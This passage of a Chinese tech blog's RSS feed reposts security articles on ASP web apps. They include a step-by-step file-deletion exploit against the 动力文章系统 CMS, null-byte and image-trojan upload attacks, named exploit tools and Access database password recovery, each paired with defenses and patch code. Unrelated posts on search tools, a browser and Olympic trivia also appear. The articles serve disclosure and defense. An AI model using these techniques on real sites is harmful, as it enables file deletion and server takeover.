</p><p>&nbsp;</p><p><strong>漏洞测试</strong>&nbsp;&nbsp;</p><p>&nbsp;</p><p>马上在本机上进行测试，成功！接下来去下载3.6版本的动力系统（最新版本），同样成功！可以说这个漏洞存在目前动力的所有系统！因为动易系统时采用安装组件的方式，感到有点烦，就没有继续测试，理论上肯定也是成功的，有兴趣的朋友可以试试。&nbsp;&nbsp;</p><p>&nbsp;</p><p>漏洞利用过程：&nbsp;&nbsp;</p><p>&nbsp;</p><p>（1）把添加文章的页面保存在本地；&nbsp;&nbsp;</p><p>（2）修改页面中的表单递交地址，如将&ldquo;document.myform.action='User_ArticleSave.asp'&rdquo; 中的&ldquo;User_ArticleSave.asp&rdquo;改为&ldquo;http://127.0.0.1/User_ArticleSave.asp （&ldquo;127.0.0.1&rdquo;要改为测试网站的真实网址）&ldquo;，并把&ldquo;&rdquo;中的&ldquo;hidden&rdquo;改为&ldquo;text&rdquo;。&nbsp;&nbsp;</p><p>（3）随便填写一些必要的文字，在出现的Uploadfiles对象中填入你要删除的文件的绝对路径，如&ldquo;/index.asp&rdquo;。&nbsp;&nbsp;</p><p>（4）递交表单。&nbsp;&nbsp;</p><p>&nbsp;</p><p>这里有几点需要注意的：你必须要有一个可以发表文章的账户，一般使用动力文章系统的网站都开放用户注册的；并非只有这个文件存在漏洞，其它如上传资源之类的页面也存在同样漏洞。&nbsp;&nbsp;</p><p>&nbsp;</p><p><strong>防范措施</strong>&nbsp;&nbsp;</p><p>&nbsp;</p><p>防护的措施有以下几种，大家可以选择适合自己的方式：&nbsp;&nbsp;</p><p>&nbsp;</p><p>1．关闭&ldquo;删除无用的上传文件&rdquo;功能，把User_ArticleSave.asp文件中的相应语句删除或用&ldquo;&rsquo;&rdquo;注释，这样有点消极。&nbsp;&nbsp;</p><p>2．有些人首先想到的解决方法可能会是&ldquo;禁止站外递交&ldquo;。动力系统的管理员管理页面是有这样功能的，可以把这样的功能加在用户管理页面中， 相关分析《黑客防线》前几期已经讲得很清楚了，不再重复。表面上看这种方式可以防止漏洞，其实这种解决方法不是很彻底，我至少有两种方法来重新利用这个漏 洞，如捕获、修改、重新发送数据包。 </p><p>3．等待Webboy的补丁，我这里先写一段代码让大家先凑合着用：&nbsp;&nbsp;</p><p>'删除无用的上传文件&nbsp;&nbsp;</p><p>if ObjInstalled=True and Uploadfiles&lt;&gt;&quot;&quot; then&nbsp;&nbsp;</p><p>dim fso,strRubbishFile&nbsp;&nbsp;</p><p>Set fso = Server.CreateObject(&quot;Scripting.FileSystemObject&quot;)&nbsp;&nbsp;</p><p>if instr(Uploadfiles,&quot;&quot;)&gt;1 then&nbsp;&nbsp;</p><p>dim arrUploadfiles,intTemp&nbsp;&nbsp;</p><p>arrUploadfiles=split(Uploadfiles,&quot;&quot;)&nbsp;&nbsp;</p><p>Uploadfiles=&quot;&quot;&nbsp;&nbsp;</p><p>for intTemp=0 to ubound(arrUploadfiles)&nbsp;&nbsp;</p><p>if instr(Content,arrUploadfiles(intTemp))&lt;=0 and arrUploadfiles(intTemp)&lt;&gt;DefaultPicUrl then&nbsp;&nbsp;</p><p>if UCase(left(arrUploadfiles(intTemp),len(SaveUpFilesPath)))&lt;&gt;ucase(SaveUpFilesPath) or instr(arrUploadfiles(intTemp),&quot;../&quot;)&gt;0 then </p>response.write &quot;<br /><br /><ul><li>&quot; &amp; arrUploadfiles(intTemp) &amp; &quot;包含非法字符，已被清除！&quot;&nbsp;&nbsp;<p>Uploadfiles=&quot;&quot;&nbsp;&nbsp;</p><p>else&nbsp;&nbsp;</p><p>strRubbishFile=server.MapPath(arrUploadfiles(intTemp))&nbsp;&nbsp;</p><p>if fso.FileExists(strRubbishFile) then&nbsp;&nbsp;</p><p>fso.DeleteFile(strRubbishFile)&nbsp;&nbsp;</p><p>response.write &quot;<br /></p> </li><li>&quot; &amp; arrUploadfiles(intTemp) &amp; &quot;在文章中没有用到，也没有被设为首页图片，所以已经被删除！&quot;&nbsp;&nbsp;<p>end if&nbsp;&nbsp;</p><p>end if&nbsp;&nbsp;</p><p>else&nbsp;&nbsp;</p><p>if intTemp=0 then&nbsp;&nbsp;</p><p>Uploadfiles=arrUploadfiles(intTemp)&nbsp;&nbsp;</p><p>else&nbsp;&nbsp;</p><p>Uploadfiles=Uploadfiles &amp; &quot;&quot; &amp; arrUploadfiles(intTemp)&nbsp;&nbsp;</p><p>end if&nbsp;&nbsp;</p><p>end if&nbsp;&nbsp;</p><p>next&nbsp;&nbsp;</p><p>else&nbsp;&nbsp;</p><p>if instr(Content,Uploadfiles)&lt;=0 and Uploadfiles&lt;&gt;DefaultPicUrl then&nbsp;&nbsp;</p><p>if ucase(left(Uploadfiles,len(SaveUpFilesPath)))&lt;&gt;ucase(SaveUpFilesPath) or instr(Uploadfiles,&quot;../&quot;)&gt;0 then&nbsp;&nbsp;</p><p>response.write &quot;<br /></p> </li><li>&quot; &amp; Uploadfiles &amp; &quot;包含非法字符，已被清除！&quot;&nbsp;&nbsp;<p>Uploadfiles=&quot;&quot;&nbsp;&nbsp;</p><p>else&nbsp;&nbsp;</p><p>strRubbishFile=server.MapPath(Uploadfiles)&nbsp;&nbsp;</p><p>if fso.FileExists(strRubbishFile) then&nbsp;&nbsp;</p><p>fso.DeleteFile(strRubbishFile)&nbsp;&nbsp;</p><p>response.write &quot;<br /></p> </li><li>&quot; &amp; Uploadfiles &amp; &quot;在文章中没有用到，也没有被设为首页图片，所以已经被删除！&quot;&nbsp;&nbsp;<p>end if&nbsp;&nbsp;</p><p>Uploadfiles=&quot;&quot;&nbsp;&nbsp;</p><p>end if&nbsp;&nbsp;</p><p>end if&nbsp;&nbsp;</p><p>set fso=nothing&nbsp;&nbsp;</p><p>end If&nbsp;&nbsp;</p><p>'结束&nbsp;&nbsp;</p><p>&nbsp;</p><p>4．其实以上的方法都不能从根本上解决这个漏洞，最好的方式就是换一种方式编程来实现&ldquo;删除没有用到的文件&rdquo;这一功能，比如采用Session来记录上传文件名等等。&nbsp;&nbsp;</p><p>&nbsp;</p><p>目前动力文章系统是使用范围最广的免费代码之一，并且有好多系统模仿了动力系统的这一功能（比如我，呵呵）。利用该漏洞是十分狠毒的，真正 的损人不利己，因为被这样删除的文件可不是能在&ldquo;回收站&rdquo;中找回来的！公开这个漏洞的目的只是希望每个程序员在编写脚本的时候能够多想想安全，不要出现类 似的问题。</p></li></ul><br /><br/>Tags - <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=%25E7%25BC%2596%25E7%25A8%258B" rel="tag">编程</a> , <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=%25E5%25AE%2589%25E5%2585%25A8" rel="tag">安全</a> , <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=asp" rel="tag">asp</a> , <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=%25E5%258A%25A8%25E5%258A%259B%25E6%2596%2587%25E7%25AB%25A0" rel="tag">动力文章</a>
]]>
</description>
</item><item>
<link>http://www.dreamaroundworld.com/tech/read.php?1746</link>
<title><![CDATA[转帖：ASP Access的安全隐患及对策]]></title> 
<author>wangyuneu &lt;wangyuneu@hotmail.com&gt;</author>
<category><![CDATA[安全相关]]></category>
<pubDate>Thu, 27 Mar 2008 15:52:51 +0000</pubDate> 
<guid>http://www.dreamaroundworld.com/tech/read.php?1746</guid> 
<description>
<![CDATA[ 
	随着Internet的发展，Web技术日新月异。继通用网关接口（CGI）之后，&ldquo;ASP&rdquo;(Active Server Pages)作为一种典型的服务器端网页设计技术，被广泛地应用在网上银行、电子商务、搜索引擎等各种互联网应用中。同时Access数据库作为微软推出 的以标准JET为引擎的桌面型数据库系统，由于具有操作简单、界面友好等特点，具有较大的用户群体。因此ASP＋Access成为许多中小型网上应用系统 的首选方案。但ASP＋Access解决方案在为我们带来便捷的同时，也带来了不容忽视的安全问题。&nbsp;&nbsp; <p>　　ASP＋Access的安全隐患ASP＋Access解决方案的主要安全隐患来自Access数据库的安全性，其次在于ASP网页设计过程中的安全漏洞。&nbsp;&nbsp; </p>&nbsp;&nbsp;<p>　　1、Access数据库的存储隐患 </p>&nbsp;&nbsp;<p>　　在ASP＋Access应用系统中，如果获得或者猜到Access数据库的存储路径和数据库名，则该数据库就可以被下载到本地。例如：对于网上 书店的Access数据库，人们一般命名为book.mdb、store.mdb等，而存储的路径一般为&ldquo;URL/database&rdquo;或干脆放在根目录 （&ldquo;URL/&rdquo;）下。这样，只要在浏览器地址栏中敲入地址：&ldquo;URL/database/store.mdb&rdquo;，就可以轻易地把store.mdb下载到 本地的机器中。&nbsp;<br /> </p>&nbsp;&nbsp;<p>　　2.、Access数据库的解密隐患 </p>&nbsp;&nbsp;<p>　　由于Access数据库的加密机制非常简单，所以即使数据库设置了密码，解密也很容易。该数据库系统通过将用户输入的密码与某一固定密钥进行异 或来形成一个加密串，并将其存储在＊.mdb文件中从地址&ldquo;＆H42&rdquo;开始的区域内。由于异或操作的特点是&ldquo;经过两次异或就恢复原值&rdquo;，因此，用这一密钥 与＊.mdb文件中的加密串进行第二次异或操作，就可以轻松地得到Access数据库的密码。基于这种原理，可以很容易地编制出解密程序。 </p>&nbsp;&nbsp;<p>　　由此可见，无论是否设置了数据库密码，只要数据库被下载，其信息就没有任何安全性可言了。&nbsp;<br /> </p>&nbsp;&nbsp;<p>　　3、源代码的安全隐患&nbsp;&nbsp; </p>&nbsp;&nbsp;<p>　　由于ASP程序采用的是非编译性语言，这大大降低了程序源代码的安全性。任何人只要进入站点，就可以获得源代码，从而造成ASP应用程序源代码的泄露。&nbsp;<br /> </p>&nbsp;&nbsp;<p>　　4、程序设计中的安全隐患 </p>&nbsp;&nbsp;<p>　　ASP代码利用表单（form）实现与用户交互的功能，而相应的内容会反映在浏览器的地址栏中，如果不采用适当的安全措施，只要记下这些内容， 就可以绕过验证直接进入某一页面。例如在浏览器中敲入&ldquo;&hellip;&hellip;page.asp?x=1&rdquo;，即可不经过表单页面直接进入满足&ldquo;x=1&rdquo;条件的页面。因此，在 设计验证或注册页面时，必须采取特殊措施来避免此类问题的发生。 </p>&nbsp;&nbsp;<p>　　提高数据库的安全性由于Access数据库加密机制过于简单，因此，如何有效地防止Access数据库被下载,就成了提高ASP＋Access解决方案安全性的重中之重。 </p>&nbsp;&nbsp;<p>　　1、非常规命名法 </p>&nbsp;&nbsp;<p>　　防止数据库被找到的简便方法是为Access数据库文件起一个复杂的非常规名字，并把它存放在多层目录下。例如，对于网上书店的数据库文件，不要简单地命名为&ldquo;book.mdb&rdquo;或&ldquo;store.mdb&rdquo;，而是要起个非常规的名字，例如：&nbsp;<br /> </p>&nbsp;&nbsp;<p>　　faq19jhsvzbal.mdb，再把它放在如./akkjj16t/kjhgb661/acd/avccx55 之类的深层目录下。这样，对于一些通过猜的方式得到Access数据库文件名的非法访问方法起到了有效的阻止作用。&nbsp;<br /> </p>&nbsp;&nbsp;<p>　　2、使用ODBC数据源&nbsp;&nbsp; </p>&nbsp;&nbsp;<p>　　在ASP程序设计中，应尽量使用ODBC数据源，不要把数据库名直接写在程序中，否则，数据库名将随ASP源代码的失密而一同失密。例如：&nbsp;<br /> </p>&nbsp;&nbsp;<p>　　DBPath = Server.MapPath(&ldquo;./akkjj16t/&nbsp;<br /> </p>&nbsp;&nbsp;<p>　　kjhgb661/acd/avccx55/faq19jhsvzbal.mdb &rdquo;)&nbsp;&nbsp;_com </p>&nbsp;&nbsp;<p>　　conn.Open &ldquo;driver=&#123;Microsoft Access Driver (＊.mdb)&#125;;dbq=&rdquo; ＆ DBPath&nbsp;<br /> </p>&nbsp;&nbsp;<p>　　可见，即使数据库名字起得再怪异，隐藏的目录再深，ASP源代码失密后，数据库也很容易被下载下来。如果使用ODBC数据源，就不会存在这样的问题了：&nbsp;<br /> </p>&nbsp;&nbsp;<p>　　conn.open &ldquo;ODBC－DSN名&rdquo;&nbsp;&nbsp; </p>&nbsp;&nbsp;<p>　　对ASP页面进行加密为有效地防止ASP源代码泄露，可以对ASP页面进行加密。一般有两种方法对ASP页面进行加密。一种是使用组件技术将编 程逻辑封装入DLL之中；另一种是使用微软的Script Encoder对ASP页面进行加密。笔者认为，使用组件技术存在的主要问题是每段代码均需组件化，操作比较烦琐，工作量较大；而使用Script Encoder对ASP页面进行加密，操作简单、收效良好。&nbsp;<br /> </p>&nbsp;&nbsp;<p>　　Script Encoder方法具有许多优点：&nbsp;&nbsp;</p>&nbsp;&nbsp;<p>　　1、HTML仍具有很好的可编辑性。Script Encoder只加密在HTML页面中嵌入的ASP代码，其他部分仍保持不变，这就使得我们仍然可以使用FrontPage或Dreamweaver等常 用网页编辑工具对HTML部分进行修改、完善，只是不能对ASP加密部分进行修改，否则将导致文件失效。&nbsp;<br /> </p>&nbsp;&nbsp;<p>　　2、操作简单。只要掌握几个命令行参数即可。Script Encoder的运行程序是screnc.exe，其使用方法如下：&nbsp;<br /> </p>&nbsp;&nbsp;<p>　　screnc [/s] [/f] [/xl] [/l defLanguage ] [/e defExtension] inputfile outputfile&nbsp;&nbsp; </p>&nbsp;&nbsp;<p>　　其中的参数含义如下：&nbsp;<br /> </p>&nbsp;&nbsp;<p>　　s：屏蔽屏幕输出；&nbsp;<br /> </p>&nbsp;&nbsp;<p>　　f：指定输出文件是否覆盖同名输入文件；&nbsp;&nbsp;站.长站 </p>&nbsp;&nbsp;<p>　　xl：是否在.asp文件的顶部添加@Language指令；&nbsp;&nbsp; </p>&nbsp;&nbsp;<p>　　l：defLanguag指定缺省的脚本语言；&nbsp;<br /> </p>&nbsp;&nbsp;<p>　　e：defExtension 指定待加密文件的扩展名。&nbsp;<br /> </p>&nbsp;&nbsp;<p>　　3、可以批量加密文件。使用Script Encoder可以对当前目录中的所有的ASP 文件进行加密，并把加密后的文件统一输出到相应的目录中。例如：&nbsp;&nbsp; </p>&nbsp;&nbsp;<p>　　screnc ＊.asp c:&#92;temp&nbsp;&nbsp; </p>&nbsp;&nbsp;<p>　　4、Script Encoder是免费软件。该加密软件可以从微软网站下载：&nbsp;&nbsp; </p>&nbsp;&nbsp;<p>　　http://msdn.microsoft.com/scripting/vbscript/download/x86/sce10en.exe。下载后，运行安装即可。&nbsp;&nbsp;<br /></p><p>　　利用Session对象进行注册验证&nbsp;<br /> </p>&nbsp;&nbsp;<p>　　为防止未经注册的用户绕过注册界面直接进入应用系统，可以采用Session对象进行注册验证。Session对象最大的优点是可以把某用户的信息保留下来，让后续的网页读取。例如，要设计如图1所示的注册页面。&nbsp;<br /> </p>&nbsp;&nbsp;<p>　　设计要求用户注册成功后系统启动hrmis.asp?page=1页面。如果不采用Session对象进行注册验证，则用户在浏览器中敲入 &ldquo;URL/hrmis.asp?page=1&rdquo;即可绕过注册界面，直接进入系统。利用Session对象可以有效阻止这一情况的发生。相关的程序代码如 下：&nbsp;<br /> </p>&nbsp;&nbsp;<p>　　&lt;％&nbsp;&nbsp; </p>&nbsp;&nbsp;<p>　　' 读取用户输入的账号和密码&nbsp;&nbsp;.com </p>&nbsp;&nbsp;<p>　　UserID = Request(&ldquo;UserID&rdquo;)&nbsp;<br /> </p>&nbsp;&nbsp;<p>　　Password = Request(&ldquo;Password&rdquo;)&nbsp;<br /> </p>&nbsp;&nbsp;<p>　　' 检查UserID 及Password 是否正确（实际程序可能会比较复杂）&nbsp;&nbsp; </p>&nbsp;&nbsp;<p>　　If UserID &lt;&gt;&ldquo;hrmis&rdquo; Or Password &lt;&gt;&nbsp;<br /> </p>&nbsp;&nbsp;<p>　　&ldquo;password&rdquo; Then&nbsp;<br /> </p>&nbsp;&nbsp;<p>　　Response.Write &ldquo;账号错误！&rdquo;&nbsp;<br /> </p>&nbsp;&nbsp;<p>　　Response.End&nbsp;&nbsp; </p>&nbsp;&nbsp;<p>　　End If&nbsp;<br /> </p>&nbsp;&nbsp;<p>　　'将Session 对象设置为通过验证状态&nbsp;<br /> </p>&nbsp;&nbsp;<p>　　Session(&ldquo;Passed&rdquo;) = True&nbsp;&nbsp; </p>&nbsp;&nbsp;<p>　　％&gt;&nbsp;<br /> </p>&nbsp;&nbsp;<p>　　进入应用程序后，首先进行验证：&nbsp;<br /> </p>&nbsp;&nbsp;<p>　　&lt;％&nbsp;<br /> </p>&nbsp;&nbsp;<p>　　'如果未通过验证，返回Login状态&nbsp;<br /> </p>&nbsp;&nbsp;<p>　　If Not Session(&ldquo;Passed&rdquo;) Then&nbsp;&nbsp; </p>&nbsp;&nbsp;<p>　　Response.Redirect &ldquo;login.htm&rdquo;&nbsp;&nbsp; </p>&nbsp;&nbsp;<p>　　End If&nbsp;<br /> </p>&nbsp;&nbsp;<p>　　％&gt;&nbsp;<br /> </p><br/>Tags - <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=%25E7%25BC%2596%25E7%25A8%258B" rel="tag">编程</a> , <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=%25E5%25AE%2589%25E5%2585%25A8" rel="tag">安全</a> , <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=asp" rel="tag">asp</a> , <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=access" rel="tag">access</a>
]]>
</description>
</item><item>
<link>http://www.dreamaroundworld.com/tech/read.php?1745</link>
<title><![CDATA[转帖：ferret搜索引擎]]></title> 
<author>wangyuneu &lt;wangyuneu@hotmail.com&gt;</author>
<category><![CDATA[Web开发]]></category>
<pubDate>Thu, 27 Mar 2008 11:01:21 +0000</pubDate> 
<guid>http://www.dreamaroundworld.com/tech/read.php?1745</guid> 
<description>
<![CDATA[ 
	<p>在计算机或网络中，雪貂搜寻软件（ferret）是一种在指定文档、数据库或制定了搜索标准的信息搜索引擎索引中进行搜索的程序。这个术语名称源于 一种有毛的小动物的名称，这种动物常被作为宠物并且喜欢在东西下打洞。在互联网上，雪貂搜寻软件能够将要求同时传输给大量的搜索引擎网站，并能按照用户指 定的或程序设定的要求来过滤搜寻结果。　　</p><p>雪貂搜寻软件可以输入对万维网搜索引擎网站中特定组群的搜寻，比如世界性新闻组网络系统（Usenet）的新闻组群、世界e-mail地址录、在线聊天系统（IRC）成员清单以及一些能够被有效得找到的可搜索的公众数据库。　　</p><p>雪貂搜寻软件不能与crawler软件混淆，crawler是一种搜索引擎用来从许多网页上搜集数据的程序，这些网页会被编成链接目录。&nbsp;&nbsp;</p><br/>Tags - <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=%25E7%25BC%2596%25E7%25A8%258B" rel="tag">编程</a> , <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=web" rel="tag">web</a> , <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=%25E6%2590%259C%25E7%25B4%25A2" rel="tag">搜索</a>
]]>
</description>
</item><item>
<link>http://www.dreamaroundworld.com/tech/read.php?1744</link>
<title><![CDATA[转帖：美国大学研制出“最安全浏览器” 5月面市]]></title> 
<author>wangyuneu &lt;wangyuneu@hotmail.com&gt;</author>
<category><![CDATA[安全相关]]></category>
<pubDate>Thu, 27 Mar 2008 10:19:17 +0000</pubDate> 
<guid>http://www.dreamaroundworld.com/tech/read.php?1744</guid> 
<description>
<![CDATA[ 
	美国伊利诺斯州大学研究人员正在研发一种新型安全浏览器,可以帮助用户在网络时代免受黑客攻击.<br /> <br /> 当前,所有的Web浏览器都存在设计上的缺陷,从而导致用户很容易遭到黑客的攻击.为此,伊利诺斯州大学的研究人员们正在研发一种新型安全浏览器,以帮助用户解决这一烦恼.<br /> <br /> 该项目被称为&ldquo;Opus Palladianum&rdquo;,是由伊利诺斯州大学计算机科学系助理教授Samuel King发起的.King说:&ldquo;目前,Web已经发展成为面向网络的重要应用,而当前的浏览器在设计上存在根本性缺陷.&rdquo;<br /> <br /> King称:&ldquo;当初开发Web浏览器是针对静态Web页面的.而如今,网页已经发展成为一个平台,用来托管各种重要数据的应用.而遗憾的是,浏览器并未跟上网页的发展.&rdquo;<br /> <br /> 据悉,Opus Palladianum安全型浏览器在设计上把浏览器划分成若干个子系统.而每个子系统之间的通信十分简单明了.<br /> <br /> 目前,研究人员已经开发出了Opus Palladianum浏览器的原型,预计在今年5月的IEEE安全与隐私研讨会上面世.<br/>Tags - <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=%25E7%25BD%2591%25E7%25BB%259C" rel="tag">网络</a> , <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=%25E5%25AE%2589%25E5%2585%25A8" rel="tag">安全</a>
]]>
</description>
</item><item>
<link>http://www.dreamaroundworld.com/tech/read.php?1743</link>
<title><![CDATA[转帖：网站如何防范“上传漏洞”入侵]]></title> 
<author>wangyuneu &lt;wangyuneu@hotmail.com&gt;</author>
<category><![CDATA[安全相关]]></category>
<pubDate>Wed, 26 Mar 2008 14:10:39 +0000</pubDate> 
<guid>http://www.dreamaroundworld.com/tech/read.php?1743</guid> 
<description>
<![CDATA[ 
	<p><span style="font-family: Verdana">&ldquo;上传漏洞&rdquo;入侵是目前对网站最广泛的入侵方法。90%的具有上传页面的网站，都存在上传漏洞。本文将介绍常见的上传漏洞及其防范技巧。 </span></p><p><span style="font-family: Verdana">一、能直接上传asp文件的漏洞 </span></p><p><span style="font-family: Verdana">如果网站有<!-- cio 正文页网画中画广告&nbsp;&nbsp;-->&nbsp;&nbsp;<table border="0" cellspacing="0" cellpadding="0" align="left" style="margin: 10px 7px 3px 4px"> <tbody><tr><td>&nbsp;&nbsp;<div id="ad_position_roller_38">&nbsp;&nbsp;</div>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br /></td></tr></tbody></table>上传页面，就要警惕直接上传asp文件漏洞。例如去年流行的动网5.0/6.0论坛，就有个 upfile.asp上传页面，该页面对上传文件扩展名过滤不严，导致黑客能直接上传asp文件，因此黑客只要打开upfile.asp页，直接上传， asp木马即可拿到webshell、拥有网站的管理员控制权。 </span></p><p><span style="font-family: Verdana">除此之外，目前已发现的上传漏洞，还有动感购物商城、动力上传漏洞、乔客上传漏洞等，只要运行&ldquo;明小子Domain3.5&rdquo;，点击&ldquo;综合上传&rdquo;，即可看到这些著名的上传漏洞。 </span></p><p><span style="font-family: Verdana">像明小子这样的上传漏洞利用工具如今还有很多，例如上传漏洞程序4in1、动易2005上传漏洞利用工具、雷池新闻系统上传漏洞利用工具、MSSQL上传漏洞利用工具等等，使用此类工具，只需填写上传页面网址和Cook<a href="http://wiki.ccw.com.cn/IE" target="_blank"><span style="color: #0000cc"><strong>ie</strong></span></a>s，即可成功入侵网站。 </span></p><p><span style="font-family: Verdana">【防范方法】：为了防范此类漏洞，建议网站采用最新版（例如动网7.1以上版本）程序建站，因为最新版程序一般都没有直接上传漏洞，当然删除有漏洞的上传页面，将会最安全，这样黑客再也不可能利用上传漏洞入侵了！ </span></p><p><span style="font-family: Verdana">如果不能删除上传页面，为了防范入侵，建议在上传程序中添加安全代码，禁止上传asp&#92;asa&#92;js&#92;exe&#92;com等类文件，这需要管理者能看懂asp程序。 </span></p><p><span style="font-family: Verdana">二、00上传漏洞 </span></p><p><span style="font-family: Verdana">目前网上流行的所有无组件上传类都存在此类漏洞&mdash;&mdash;即黑客利用&ldquo;抓包嗅探&rdquo;、&ldquo;ULTRAEDIT&rdquo;和&ldquo;网络军刀&rdquo;等工具伪造IP包，突破<a href="http://www.ccw.com.cn/server/topic/stor/" target="_blank"><span style="color: #0000cc"><strong>服务器</strong></span></a>端对上传文件名、路径的判断，巧妙上传ASP、ASA、CGI、CDX、CER、ASPX类型的木马。 </span></p><p><span style="font-family: Verdana">例 如黑客上传了一个木马文件（xiaomm.asp空格.jpg），由于上传程序不能正确判断含有十六进制00的文件名或路径，于是就出现了漏洞，当上传程 序接收到&ldquo;xiaomm.asp空格.jpg&rdquo;文件名数据时，一旦发现xiaomm.asp后面还有空格（十六进制的00），它就不会再读下去，于是上传 的文件在服务器上就会被保存成xiaomm.asp，因此上传木马就成功了！ </span></p><p><span style="font-family: Verdana">【防范方法】：最安全的防范办法就是删除上传页面。 </span></p><p><span style="font-family: Verdana">三、图片木马上传漏洞 </span></p><p><span style="font-family: Verdana">有的网站（例如动网7.1SP1博客功能），其后台管理中可以恢复/备份<span style="color: #0000cc"><strong><a href="http://wiki.ccw.com.cn/%E6%95%B0%E6%8D%AE%E5%BA%93" target="_blank"><span style="color: #0000cc"><strong>数据库</strong></span></a></strong></span>，这会被黑客用来进行图片木马入侵。 </span></p><p><span style="font-family: Verdana">图 片木马入侵过程如下：首先将本地木马（例如F:&#92;labxw&#92;xiaomm.asp）扩展名改为.gif，然后打开上传页面，上传这个木马（例如F:&#92; labxw&#92;xiaomm.gif）；再通过注入法拿到后台管理员的账号密码，溜进网站后台管理中，使用备份数据库功能将.gif木马备份成.asp木马 （例如xiaomm.asp），即在&ldquo;备份数据库路径（相对）&rdquo;输入刚才图片上传后得到的路径，在&ldquo;目标数据库路径&rdquo;输入：xiaomm.asp，提示恢 复数据库成功；现在打开IE，输入刚才恢复数据库的asp路径，木马就能运行了。 </span></p><p><span style="font-family: Verdana">【防范方法】：删除后台管理中的恢复/备份数据库功能。 </span></p><p><span style="font-family: Verdana">四、添加上传类型漏洞 </span></p><p><span style="font-family: Verdana">如今大多数论坛后台中都允许添加上传类型，这也是个不小的漏洞！只要黑客用注入法拿到后台管理员账号密码，然后进入后台添加上传类型，在上传页面中就能直接上传木马！ </span></p><p><span style="font-family: Verdana">例如bbs<a href="http://wiki.ccw.com.cn/Athlon+XP" target="_blank"><span style="color: #0000cc"><strong>xp</strong></span></a>后 台中允许添加asa&#124;asP类型，通过添加操作后，就可以上传这两类文件了；ewebeditor后台也能添加asa类型，添加完毕即可直接上传asa后 缀的木马；而LeadBbs3.14后台也允许在上传类型中增加asp类型，不过添加时asp后面必须有个空格，然后在前台即可上传ASP木马（在木马文 件扩展名.asp后面也要加个空格）。 </span></p><p><span style="font-family: Verdana">【防范方法】：删除后台管理中的添加上传类型功能。 </span></p><p><span style="font-family: Verdana">五、通用防范上传漏洞入侵秘笈：将服务器端的组件改名 </span></p><p><span style="font-family: Verdana">众所周知，ASP木马主要是通过三种组件FileSystemObject、WScript.Shell和Shell.<a href="http://wiki.ccw.com.cn/AP" target="_blank"><span style="color: #0000cc"><strong>Ap</strong></span></a>pli<a href="http://topic.ccw.com.cn/corpCenter/249.html" target="_blank"><span style="color: #0000cc"><strong>ca</strong></span></a>tion来操作的，因此只要你在服务器上修改注册表，将这三种组件改名，即可禁止木马运行、防范黑客入侵了。这一招能防范所有类型的上传漏洞，因为即使黑客将木马成功上传到服务器中，但是由于组件已经被改名，木马程序也是无法正常运行的！ </span></p><span style="font-family: Verdana">具体而言，需要将FileSystemObject组件、WScript.Shell组件、Shell.Application组件改名，然后禁用Cmd.exe，就可以预防漏洞上传攻击。(ccw) </span><br/>Tags - <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=%25E5%25AE%2589%25E5%2585%25A8" rel="tag">安全</a> , <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=asp" rel="tag">asp</a> , <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=%25E7%25BC%2596%25E7%25A8%258B" rel="tag">编程</a> , <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=%25E6%25BC%258F%25E6%25B4%259E" rel="tag">漏洞</a>
]]>
</description>
</item><item>
<link>http://www.dreamaroundworld.com/tech/read.php?1742</link>
<title><![CDATA[转帖：历史奥运火炬传递趣闻 曾用卫星传递当众遭劫]]></title> 
<author>wangyuneu &lt;wangyuneu@hotmail.com&gt;</author>
<category><![CDATA[职场与生活]]></category>
<pubDate>Mon, 24 Mar 2008 07:45:32 +0000</pubDate> 
<guid>http://www.dreamaroundworld.com/tech/read.php?1742</guid> 
<description>
<![CDATA[ 
	<p style="text-indent: 2em">1968年墨西哥贝拉克鲁斯，一名船员划着一条小船把火炬传送到了对岸； </p> <p style="text-indent: 2em"> </p> <p style="text-indent: 2em">1968年法国马赛港口，一位潜水员举着火炬游过（火焰在水面以上）； </p> <p style="text-indent: 2em"> </p> <p style="text-indent: 2em">2000年澳大利亚悉尼，一位潜水员在大堡礁海底潜水，首次让火炬沉到了水下。&nbsp;&nbsp;</p> <p style="text-indent: 2em"> </p> <p style="text-indent: 2em"> </p> <p style="text-indent: 2em"><strong>用卫星传递</strong> </p> <p style="text-indent: 2em"> </p> <p style="text-indent: 2em">1976年加拿大蒙特利尔，东道主别出心裁地&ldquo;玩&rdquo;起高科技，火种到达雅典后，只花半秒钟时间，用激光传至太空中的人造卫星，再反射到加拿大首都渥太华，然后才进行了短距离的传递。 </p> <p style="text-indent: 2em"> </p> <p style="text-indent: 2em">不过因为这种做法有悖于火炬传递的宗旨，遭到非议。 </p> <p style="text-indent: 2em"> </p> <p style="text-indent: 2em"><strong>收钱的传递</strong> </p> <p style="text-indent: 2em"> </p> <p style="text-indent: 2em">1984年美国洛杉矶，美国将商业机制引进火炬接力。组织者在美国划定10000公里路线，只要交纳3000美元，报名者便可参加1公里接力，而且能够得到一个复制的火炬纪念品。 </p> <p style="text-indent: 2em"> </p> <p style="text-indent: 2em">虽然这样的做法为组委会集资到3000万美元，但由于反对者众多而被禁止。 </p> <p style="text-indent: 2em"> </p> <p style="text-indent: 2em"><strong>婴儿的传递</strong> </p> <p style="text-indent: 2em"> </p> <p style="text-indent: 2em">1988年韩国汉城，10名1988年出生的婴儿和他们的母亲一起把火炬送到了目的地，这也是历史上参与人数最多、参与者年龄最小的一次火炬传递活动。 </p> <p style="text-indent: 2em"> </p> <p style="text-indent: 2em"><strong>火炬遭&ldquo;抢劫&rdquo;</strong> </p> <p style="text-indent: 2em"> </p> <p style="text-indent: 2em">2000年悉尼，在奥运会开幕式前，当接力者持火炬行进在海边时，一名观众突然冲出，抢走火炬，要扔向大海。幸亏保安人员及时赶到夺回火炬。 